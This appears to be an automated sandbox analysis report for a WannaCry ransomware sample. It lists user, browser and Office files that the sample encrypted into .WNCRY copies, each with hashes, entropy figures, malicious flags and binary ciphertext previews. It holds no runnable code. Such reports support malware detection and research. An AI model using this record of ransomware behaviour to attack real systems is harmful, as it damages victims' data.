                                                                                                      Preview:WANACRY!.....1&..h.B.....K.5..bDX....O?..e.H..........f&..>.eC........g...{...Z.#._n..A(..).I}.V..y.....o.....,.U....i.....,.).\.5.`\...*..+5%U./?j......\..E.x..[.eH&..,..X...f....I....9`t........F..N ..`E;.5e.P...$q[l.....|H..FJ..\ %$..=w..a....H.](.+$.d...|.............f.\i....D#.U....5.G.(...E...!.3.4'......C.Qv.i:-2.&.?......0.NP....n.Pn.Hc)<.....k.qZ3..|#.}q..%.~.xh...',....[..~m.......J.fm..`....I....C....\R0.G..T...I......7G.h.b..I.T.\...`~......l..3....f....m.!.'.<d.........=y..'n.27.7..G.!,.X5]EK.D......R......#....u...'.vN.U2-.$.HWA.....k;.........w........#F.,4..^ky6...x.....FsdZ.......g..:.aw.7.c.\...Opqo...H...I&.........9{[.._.d+Qb}Y.p..u.uf..bXQ.u.!..w..[.w.2K6Jl..........fP....(.Gn0.....O.M. .}..,..fy.....Im.l.*..l8.....i(......\......bF....M.^K..z..4.D..qg(..-...4Q]^B......g.>%.$..h}@...{v.9[.b.d{.h;.D.....vD/..m.g........Jv.1f..H...&N.O..` .[H....E!...8!`$..FI......$.....".{..K..............0./...@....?...v.V `j.7.w.1.<...

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):638136
                                                                                                      Entropy (8bit):7.999759021293841
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:Tqee4m3kWw8pZ7jzCaJj10ZukPA8Hd6U1tyV/fNF+PN9UK+EjGw:+d/ww7660ZPJd6UDyVnNEP7+EjGw
                                                                                                      MD5:E38420C6683F7946EF54C15ECB05ECF5
                                                                                                      SHA1:D7CDE4155433D76005B433340017A7481E29F81A
                                                                                                      SHA-256:83AD31338F0467684EB9BDB945AE8FECBFF666C493ED7EEAD104D03C7A69EA27
                                                                                                      SHA-512:5BD0E5950356F65F507DBC91ABF06C959F5DEB23082DF95C3868577C80AD9E1AA9857C1FCA3F0282149641C8D0F002BBF26E296547326F18D4BA65C9075BC8F5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....=w.......)./..8Bd.....n...P]J~...}6...N.L.....A.n}.R.uF.,..lY.....`.'M8c_.P....9..c|......(...N>...z(R..:/.m..U9..14...x%.h....!.9]....v....!..m..M.!...h.h. I).....h.Y....E....Z......v+..]V. .$>.jp.$.y.W../..V..R.{....:.s....NL.Q..R..Dzh}..$F...............l....3.xq...#.q.M.f}#9.R..3.!..\Y.....2....x@...{.&...H. ...S>s.?..U.c.+(.......ox.s...z:.+.....$..S..........7W.8..0O;.~j_.Y..I.gv..2.:.1. ."...v84r...w...O.4........1...s.H.GQfv<S.9.i~|....)....6t..0......)d.....=...F.....i..`...B..LF....4..0.6:..oDe...:..y.b....\..._(..X..../.j..P...Z..~_..2xO...9...0K..\)Q..X..#9....$...1.....'.g.,=dv.N.......%......W.9.....E..Tt..C..<..*.k....5$.Y1.aR.......95T.Q.})..=.....ra........#WY....z.._.%..(L.K...r.Wc.....2....q.-...m..:...;....>.Q{.{`9..~......."...#.........g.1#0t.j.....t.z....L........>G.a..4.0...b....,.....3...y. }JsFO!.k... .H.dp....TZh.E......C..\.b...8.i4..].s"/Q.D.}.j..C....2..b[.HGI-.h'.1..2.....48...K.ctxN

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):443032
                                                                                                      Entropy (8bit):7.999598881295417
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:lrqaHS8KN3GwsLylvKIehmfpPxsmmaJtMM6KCFg7pf:crl+Ly9tehmfpp7KM6DE
                                                                                                      MD5:CECEB4C0DBCF2AACE5F428B839C37200
                                                                                                      SHA1:C5A2D273C7F968CC94C28DB8F89B15C2DACE9B42
                                                                                                      SHA-256:328566DAD3CD11D2A5F97D7582951C00A2275E79A3578D678409CDC01A4E7BCE
                                                                                                      SHA-512:F81660F85B91110C169FD486AEA5394CC78A4C5A5CE03B8F0A14AEBE2A23763CE3C9028F0D825D14CA75B31136E5DA11FE770E991DBC03024C65ACDFE88FA06E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........5...S.Pt......~.B..j..b..iq........Sq.D$C...I..{,.7.ws..q...<bE.....I@~X..+.....Z;...d.I........m<.......(.*3.s....&?..$.c.d.!p..A$..K..a.....+.....w_.S.3$.....T.......q...8J.f......H.i.Q(....$=.K.+..`......iW..X.Z....c@}J.l......*..B,6q..HN.a.....y..........]......(.|.4..0J.......)j.^4....%..X..iv^'9.0B|.v..!..j-..`.2...q..'R..C.1.'V<..O.6.........k.iw....eA.d..w.Q.."..l.V(....mG.p..2&.wjO..I.F.w....Z.........K....RB}R.&4..R.-k........3.....I...!.o..6...}...]q+.X...=.A...oLX....e.&...-....c.^....IQ_."..F...........O...n...6|.<{#..<.d..@O..3i ......Xp!..W*......f....X.#13..$.'..C+....{n.....O[.Q....pO1..d...C ..pX..Tc.......+....ck....}......i.gK.,prpD.G.4*....W.{..k...>.X.....}....]*..Yk....Y.QY...w.*.q`..;....=.!...9L+W...F}H....5..C5^....%.g.)'#.y...X..:2.1...s.n.....@.......w...K*4.....,.....)my.....<..x.\..zzS\.lL\@....W.Y....$...W...C........^T.......-Nn...q.J.5~.'L....T.....A.....JL,v...N.VYm..r.F...z.>\.........

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1729112
                                                                                                      Entropy (8bit):7.9998849387551
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:2/PCzx3mp10NG6H+ZEhm6wqFaFToZgdtOTmFMSBBF4lgHoIG5xxnN+NgJTeTk3:2/PCV3mpiSueqw5SY5F7BB+aIl5Z+OJb
                                                                                                      MD5:CB21837598485782B8B467D17699E513
                                                                                                      SHA1:4CC1567372FBBAB3BBEEF40CC5300220E9929FE0
                                                                                                      SHA-256:3EC9ED41EA849FD3DC708197F28BE731A0D8D4B975112DA89B2C7A1E36646A0B
                                                                                                      SHA-512:33E257E44DC224A143EABA9A676D30AD9CCF3FC74CE866AEE24EFBC12B2FEF23F0ED5214A68507F7913EE3CC508E4319E475DAE81AB03F84763DC9C48BC7AECD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....]G.PW.i..4.5.....I7.J.y.z.z..........!Xm'%&..$...Z....1....... q~...6+.2.N[.B...W...........@7E....&6m.....%6.............+...^Xa/<.D.u...).&.=E....Tk5..z........O..cp.O.Z*}.~.g9.M...!.H...(....aY....DD..%.%....D........Q+..zo..J.1..N.....1a...... V..IM..%.V.VsL.d...k...GF....1...~.y.s...[&..fm...0.x&..$Y...y...;.|..q.....[..T.6....|.......w..Fv.b......'_m.$@...;.A.......A.#.^.^.... ..+U...}k8.....%3.u-.....g.@...KU..J./.{.T...... ).*..W.......I...rhn....Dz..g..fE.U.#.%.....o.T./...M..m...sXS....`.0R.n.C..X.J..-Qgle0..7.....'...D.8?...4X..J.R...5Q@..S...C...AH]!..>...j....&..H.UM+.M..j...O....*...-1.."8.c.>.0.&..z.....7<g..+O,..d.A*]~...c.A.9Z{...i.(.r.....m,.K.p...Z0.Hge7U.-.\....p,..O...r..n..G..%.u...p../.P`*t..2..t.ne..gy.:0...3]-.d.a..N..U..N...j..&fs..M.].Z._.....n.!4f.T. 2..Tm.X.o.E....C.....*...G...._..3.9....r..1.....;.....S.y...+.4].rWqZ..5.x.&Eg.R.T..g.+.w....R.#.W:.,..I......O.6..h.-+.....:#..O^.!.j...........

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\user.bmp.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.999731171383691
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:HsC4BIC5Hs/bUUDxcyNSrLo9ZtIwAyFBjO6PI3TMtItJc0A5+hm2+R/9Q5jO2TSO:HsCjC5Hs/ZForLo9XIiFBZCgo3C+82km
                                                                                                      MD5:92B3F5207A650394895DCFC1AF6BD970
                                                                                                      SHA1:D0D1E311C0944B325F4168C3FD3435C386E44ECF
                                                                                                      SHA-256:274409052E6371E7C1C6F6F838AE7E3C796745773185392CB6E2441B100534F6
                                                                                                      SHA-512:41F1F67A1717D55F4BB871623184228F2688BA022E31D5B4CAC72CD777BF2009FA6DAF32C25D425B9689924781BCEC84CA06C5F2340C3DC2E5EBA6E9112F7513
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......H...>.!.M9....{...E.)5....s...Z..A]......#j.aw.j.+..)P_.....xZ.H+.s.6j.+....n..MlM....E......rDo....a`.V...B./,%r......ek.ly9.v.Zm.ZT.!n#p/....D..w....}......."..b..a..{H9..%..J:.8H>...T..K.s.o.{_t..zK.#.UP...S.K.w.]..T.P....u.|..5..Y....s.]....80..........mu.+F\.....e...Q.#.F.R....U?X....n.~./....|.5`.y-j6..8.J....c..D`+gb!g../\...r...D|9..v..N..M.........7<..m;.s.7..j....[..|.0*...u`S.|"o.........7....e..S.....5=..7M7.^.V=E.:\../.a.P=.R...2;mq...(U:....Q...j<..7.sP...l.{..B.........k....X.a,q(........L.VJ@.F..W..2..cj.'...........BZ.........b.m.{Nt.o0.{...4u..Nd#...av..+.g......B..a.S....=.[L...T....S.s..!....;..j.....m8H.s..-)..$.:..U.F4i.%nF...x.9...2W....@.2h.r.r..+>.0k..&.Ss8.*.CGN...~0,.(;......~.&....+..t6...".....P./.c.dWh..EESL..d.Wb......"..Q./hI#..K..Z..............T.|..XN.v.......5....Q.=...4.~..$-aa..>._.6..E.R.H..-0.]....=.e(.I$v.P.....8.....9......N.2-a....[..j...Z].........-UcS.YMqDv.%..|.,).......*R.`

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\jones.bmp.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.999672763033644
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:2G51kEMOcKW0cECE8sybUNwb0pnxASvshhO1lhJLFqBE3AuA1k:2G5vnfR+A9pnySEnOhxFqBE3L
                                                                                                      MD5:46B09D04F0063F17F69645830F6930B8
                                                                                                      SHA1:D4DEBDD5ED0283F8CE1CA3E6DEF4C5380863EB1C
                                                                                                      SHA-256:40D63951D7B45D28FBB2F8233FA773E521074E74E4B7C048203C6DA77C16587B
                                                                                                      SHA-512:C45629C501C0CBBF03B4D3CBC4E813D2DAA1726B931E66C8605752DAEF816A31C0A3A7FBFC19A83ECAD2BC5D550B0FE652280A993C2EA9AE988E5E62B5F5C866
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....R..Z..l^.j..E.0...T......a,..r.o.}_..U..2....u&...j...!..G.W}.y..z.=....A.Z..s..+......y._Q..qY.h&.C..M>..P^P.nY<......x...#....+K...E^u..4".1ID.v.y..%..t.....`;.h...^.z.)..[.R.KG...]..v.]..v......L%3w<.].u....?."H....B.{.`.;fYF]..uc...%.].....80......daJ.r...N.:gAy..W....i.........VH.....{.%Jp..x...W....D.i...z..d.sA3m..P.3....+..q"9..4E^.c.P......Y.bgD..t.......j.....Z...\ ......,.t......Y. !..U....?.h......>........mHV..L.+D.."}.~....b',.I.!P.ij...Qh.....g......"{g....<....T.......e......R..h-|..$.8|;.R.....R.k....<.3.Hf..l..<...E..V..D_.!.J.I.._pU@k%..>.FV.T....t..Gu..RbZ.Kv$.f..QQ..t.ee...U..79M.....{Df......z...>*-O..fiS.Q...w.......mN..S...&T...2......C...Gs........`.....|Qj.jy.y?...K.;..-..x&...R..h.F.......`V|.e....S....#AP=.Is..J...pY<..1..j.Q).#RR..^.Y.o..#U.yb"8...xH;y..].r...n...>..Yi.JO.h.../.,0..1a.&..2N..tf.+L..o%....k!M0.J.......\...N.u.=...P..p&.....L.%.....G...<+.~T.......c.U.V..Y....GCo<.....L.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\excel.exe.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.9925338023899934
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:eJIpaRJSLRCtiOwM8BajlTITFAqjKTRIBJpYSK:eJIO0RiiOVDTg+qI4y1
                                                                                                      MD5:347AF28A32EACC3AF224B50AD3DC722B
                                                                                                      SHA1:495AEB15790628B94737EFC77A5EB15592A33E31
                                                                                                      SHA-256:EBA28EC41E28E503C1B1003DF339B2B2D0C2F3E986D73D8F448946437E41C859
                                                                                                      SHA-512:872BD34C2E95F914B5C2067D1DD5D4B8611E738ABF6D3D98A7E6C62115FAE8D2ACD86D4D26815438D56932F7006F458A925C07DA13FDB24F3065B4956414CECD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....o-...L....F.Y.p.A...X..$8....S...{.S..,..t...4....4..%Y......4.w.1.].H.J+.wty..ndg.....4%.O..X...,..b>Y..(.T.^$....P#.V#7(. h....[H.9.K....;...RsN...+.U....?..."7.8..........p.oE....~.h........TK..y.`.A.....!.I'5X...y..8^...a..7..*U>.^..........`.......T#.0A...(.y.....3d.G..jL.s.......5g.D(.$^..,..........1Xx.)!i-.7v_...F/.u....]m....fI.AI...#...x../[.II...=....172...r.......wT3...7<.[...........m.@.&..\.%Q.!......xi...q.b.k...!n.5..pb..~.M.....P...i.n@..M..l.Hn*.k....6.=..]` R....r.rb.bG3....B.,..j.w.|.h~..........b..%.Jzid.3dQ..x .....%..{UA.d.e@..c..f<ZvO..... ...|..o\....Bx....&....=p.o.G..;.U..l=S}..:...........p.*..]...._..ST9...G..K...p......,&....G.M.EaM3........M.g0w~.P.k.6rK.3..O..Q.e_..'ek...}~.....3.......C...W..<!......).....a.k..wc........X.Q....X.d..r.#.d...E.....i..Qz.l...^I.j.u.j.=..dod..{...pKq.]....f.&.9...*8....v.QJ..,...t.8....n*U^.{P...?.....I.%=5.&...G...d./:....G.....I .$.xD...O.....["[t...B...t"...5.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\acroNGLLog.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24168
                                                                                                      Entropy (8bit):7.993571000811764
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:yfYAIorVLyorm9yBgqh6+60H4ra357/KpzAg7TtfcPLDoU+4dzt1CcKD3p40xceU:yfbIwVLNrmrgN60H4rW57CMaEDWMqc0K
                                                                                                      MD5:620CAA21CF58CE7856BCB000E5724BF7
                                                                                                      SHA1:2B72950EDB66862A008D89180D118E84556C3361
                                                                                                      SHA-256:057DC0C0F2204EDC7AB18C613852D5A97FB7B28039B9B6D576CE061D5C1192C8
                                                                                                      SHA-512:0AC2852E7EAFC45017779345CE2DD2588C5535D9838496A96C7058C730FCA8D7D87D12AF89C10752B5B8D7D48DD54EB162CC08814A6DD8248BA60DD779D16D15
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....2Yp_h.].d....&.....<t`...#...Y....6p}u.G..AX..]#...M_.Vf...H........w...i.~.xo.`..I[..S.....D.S$.).H.FyI#zkjs[D.n...s...~.Pc?+.A....t..wF.&.=%..*.Rd.+Dk29s.....9...%....>.Jt..~GU1.Q7.C...e...,....$.>&. .c~4..5&....0p....XD.....4^........q......\.T....D]......H*....w.U..%..UC....#..R.@~0.m#i$7t.F.F.US$..X.......0...+..D=.8..d.E..\..I.}.p# .M....lc..........TL.g"..)2..7:..u..R..o$)n.-.Qu.....G.l....|.g"m.a.4@.#.jM.....?.gI..}....HJY.L.c a..w.........Y....7rk..{-....0......A.M..Ez..2H.H.'^.$.U.X,.M....x.nt.....p4.v:..K.s.N..<..`..c@...v...... .c...B3....A.,..!l.;|7g.......q.S..-..r.......a....}.-a.l.Z.cl+-...:..F5.}0..Y&....U.a.~....e....].h..*....'..Sg.L..(},..s.....D<.8.......6o.T?....l.x\.........#..n.}*....r.&...%.......n.3.....E..Fj../*.0--T.6...b. ..M...DkY..sO.kH.wv..l....V...(.b'.~.v...~.6'.l...a-.J..._....:.wq2..G.p..)ZG.....EK..A...J.%..y.g^.U..h..S.]..}(9..5..+7..7.q}..d...3k....NYg....N..,.........."v....r..!#`q......O..X7.c

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.9998383175546595
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:p1K/FxFa+bLMyOUjuWSdfFEXGJSIJdne9klcIrm+4PWboimm+vn:PK/M+bLl8FLSgneim+poimFvn
                                                                                                      MD5:9F55A6C1BFAAB619555143D2720F66FA
                                                                                                      SHA1:2946C9548CC163D479563463364579A7AE6DED91
                                                                                                      SHA-256:CD12AACA5EDFC5E5C55AE06B0AEC24FA52372CEF229E8DC8B9B177B5334C305E
                                                                                                      SHA-512:6AAFDA9E684A346A80FB86A45A0EBAA2F98B87180B539C002B13BC91587D1FD4C3594EEEBD49FAE2FABDADFD80745801E1413410AD439A283747B4EDB004CC4D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....X..7.?...Pp..FC..#..XTJ.o...q.c.$ e.F5..:U.z...Jn.r.......|....E.Q.>|-M...)..5g..y..N.W~..5......PV.0..ScE\.B7..y.<..K.}.Q^..M.P.v}..2.A....K.P.# .7UPZ../....`x.`..+.....a..}.J...E6...$..MU.B.T...."..,pf{./.....]D....."..$..N4;zt_...'....{T..............PK.9|..k...Jt{6..l.A._...t.s.3.t.b.J...d..Aj..Cr9V...T.T......3r.. ...4.b6f.?C..Z..z.{]....v...{.6...n....F.f.t..hk....D/..X..Z|,..0...M.{".3k.4....X....<Z..P..s.\.........H..8}K..*..Fz.^a...N.W..^s.. .}2.U.......Cv...Q:..&.#._....!............g....[|. #....s.s,D...;.WN........K..$N}......;I....X..~}!...}.G.kGq=.QG.j..".n..w..&......N..<8.p&.........q..?..#..=.....L..S..%....................{.pW.....RZ.T..Dj..1R...+&.`~j.J.z....;.......KQ.;.(Y.W:m%.............&.e.'.=k.....H.m.....4!..X..V....pJ.Tg...m...*.?N6O.C..%%v..m.N..AF.e3.B..1^Y.I0..N`H..D.=.+N.WU..q.0-cj.b.LO=10'{....'TWZ|BA.i.+..6f)...DIz.:.......D....be#...w..._EG...c.i.-....!?.K.a..6.....Ok/.c.[...b_'.&..)N

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\Databases.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):28952
                                                                                                      Entropy (8bit):7.994024573869313
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:TKypombAtfDrsVsJab8p5qB+LHDJpQt57FAJKMIYJbWuvRm8dO+YuZHTDVImq8S1:+2omIfDQVsJrDvQ2TI2aAYuZXvPIb86v
                                                                                                      MD5:E41CC24813EE7C11BF95F5CC7414EB66
                                                                                                      SHA1:A943F795A583E50FBE60C3BEDB9E1B7FD86331EE
                                                                                                      SHA-256:F79C7FF8E0EF2C28BA57E0150C7F3F756EF36154BF31D5915AF77C48942C9BEB
                                                                                                      SHA-512:5AD69ECA8CAC5AD49BB312DE623B6227F2697E3524B7AAC0DB534D6E57CA2E9D1A0AFE86237966D14C564C645C52C5B3AFB6BD4ADFE504464ECC668E8279AE54
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........K.<qV3D.........Ms:.....o.s\.\A....4.q..L..X.q!........F>.....o...9....`.`.&...'..4F..o..q..$+......p...s8Pa'C...{..Q.......Y|J.B.K9U..`..B..S,.../d.......]..'..'.W..4.N.p:.l.R..`<...<.`.%..5.......o&(......K....P....r....G.+r..b....t.....p...........@..n|E.9.!kZ...+..9.gg..!.....&a...L}..{..G.-q5!...{rv.{.).......O..,..S.$w.t5..\.@a...O..&yix[..y.A..v..T{......d...B^CS...T..B......@.`..r.%>KT.:.....ec4.....6..........J.#:0....>.+2M.2Uo.P9}.@...".'..Y5v..Z.....]..N...,@.8..Z..F.w.../F....6i6.1.(.Q..Q[2......]. ,..a.I..R..U.q....x...N.{..{I..H ..^.d@......M-j;..L.iA.M.....k...+&.(.x.ls...)6..0..<n.._i*......2.].q..H?....."..".......S.0...t......OH.....5%..y.^..c..rz..3..N..5.6.~eC...>&q.Y.....>.%..........&......Xmf.~..rK.........c#..7.1x..). ....V.O....Y..s:./....(..=.A.+y.~..Iu\.......=.Qv....6.m.l...'...X<b/5......e.....AQ..VA.m..F._g*...[..<............4..Y..j...Q.W...R..t....}....[I..8.&.[.Z.bw|X.........I...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\first_party_sets.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):49432
                                                                                                      Entropy (8bit):7.996177080070782
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:rl2FO970a/azp2/gc220zJnvplsY465XR8RDhCg0lqSSWyCPxk0o5sxV+YFSCZey:rlOajKpWgc2J742qtQdXy4xwOHUCh5l
                                                                                                      MD5:2E3C674F4D4339166DC9A2B6CF2B179E
                                                                                                      SHA1:A5A01645B626710C7241EDD47841759B7241B3E0
                                                                                                      SHA-256:41C3100E4E9E8FE2DB988AF9DBECE7D07AAE4B9BEA4FAD22BE8DCC99AF53FCE9
                                                                                                      SHA-512:10B9D55A5428A409F0B1E327F41F4DF39D95A5D837F0470749F994976DFD660D7DFE1D8DEFAA4CE736FDC356A204D2A040732B617CAB1F9CEEBDFDBA229751D5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....g.]=J...EP..-8..yK..p..ap#..C.x~...)..9M.6...x..............d&.my,..^...Sw.]....)V......1.;...3.P...L....t....'S.a.t....Q.....c...v.......ea&Xp..{...T.e/N".+&.j.8.. .:."..n....Z..M..`.v26.y..GI.4]......@..{.%_..ig.R......Q....!...4...="...nR.+..............5./...+;l..]A@..-.$.2[......(:...$.....Y.e.H..'..Z(.......Gb;..H..E@-.z .b. ?........R...2D.F..Z...\..U...v3....K..k.R.7.(i..2)..p)zO.:.o....!a.U...{./;r.J.@...,..C.k.S.........J..D.B...."...B..x>V?.v.j.._.i4...Ux..).....Cw..JFK?v......O.c........I..k..C..m...>.r!.*...'.S.j...).....cv.....+.....H.n.o..T..x2~"..r.A....d...[.2..Q.F"}.CZ..!...F.....>..M}A..U.g.....z.;m...Vr....>.IhcJ.(.!...}.*..m..m......DS...;xJ....\..*..q.2>.{w.M..Sv{.ah...S,^...F.(..]..b...1...@.(>.}...V.C9........ZX.2....@.?..y3.m.....x..o....m.W.t.[&G...U.|i.H..6.9.>...B..g.........r.F.Nb......d.r...;.k. .5K....=.e.=U~.......;...a...........3......<(.%a.4.n.Z-..&6..h.dY.......,R.1...`uX....?...B9.0.....d

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4376
                                                                                                      Entropy (8bit):7.962356298938565
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oXi9jf0xp/gDwbe3d0pXtSyAPSJjxV4Tk2AiObfOQjei6kjsxqBY3na:wjpYaTSyASLZb/q16Y3a
                                                                                                      MD5:AC77DE3056228AE322AF8675F995CCAD
                                                                                                      SHA1:0DAEDC26F8CB4730F69A51DB7A1C6DF2BBA12D15
                                                                                                      SHA-256:4617CCBE7D258AF75A71D7D06C3B2996A69472228D3F711672865864E82987E8
                                                                                                      SHA-512:26E46E581F2241AD249DDBA8A3E35C475A65F125627B9A48BE2DCE29E95A230D0ECA7F270661D6AE8BC16DDB0CB41BA4B26A43B138974D5CE4F4703213B421D4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....!z.l).z...> t....~..K........"...J..5|..<.l..9.;.t..3...........O......%..F.D..y.G..k.`p.....JhC;a`u..t..a.....R...8..=XB.qB......h9..AC.k..;hu.5..@].wi...a......u.....o..).4.w(.!..9K.q:V..F..1...\..../.....B".w......]7..@=}.O...^.K.o................ L...r.,..H9S..o......Ji.`n.."...O.2..p.s.ia._....E...+....{z......`O.|_...`..iRR1#6..j..#.).s.=..+.m...n......T4...01.,...S..NGH;..M..^.xE..V..?...#JU..k..X....p.o..\w.b......A..A......e..B.5....Ya.8t...?.~.pb.-...F.K..6........%...R....~.L.A._.Noh....VM[..3t....u.KN{s..`."Qx..}5.t.\......L.N.Th..,u.3.......+..\....)j....1d.....t........&..eZ.G......7..*+..)...#..b9g.D..A.....!.:...^.(nP..cI..w.[.2.W'.....}..<...-._.m.u..0D+m..]..#&..E.%..f.t...A.,.....0..}..v.A.o.e..^.!......;q.........D.....?........@.r.....0.(.S..q..!u{..mY/b.W..}T....T.a%.I.'..(@a.!......~..f..T....y..V.&C.L.[.......:yx.2.a^..!..].y...-....`..f.._Y.q.....cAl..2..."a..c.:.z......V.t...".A..*Jw.Ba.X..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6856
                                                                                                      Entropy (8bit):7.972103225087067
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:16eX7CnwjFpzM4VK6DOHwCbHPVdYvN4/CRj:1bX7i86S/AwCbHPcvN4/S
                                                                                                      MD5:C746D9B507DCEB6CC14048D4C3B6D9CC
                                                                                                      SHA1:7A2F3EE94D8EC1171915E7F2B92D8B53CD7BD3A0
                                                                                                      SHA-256:DD5260C9AEC44CE9BA6BDE625D5654F76C1DE57766C8D4C43F4DF43804431DC4
                                                                                                      SHA-512:20A76130C67C5473F7B1340B600C62501C9DD83F5667C0F8AB6BC550E1CFF1BE9BB83421E108F171A7BCA7F63114DA384214706691F3F163DE6060820BBDC5A1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
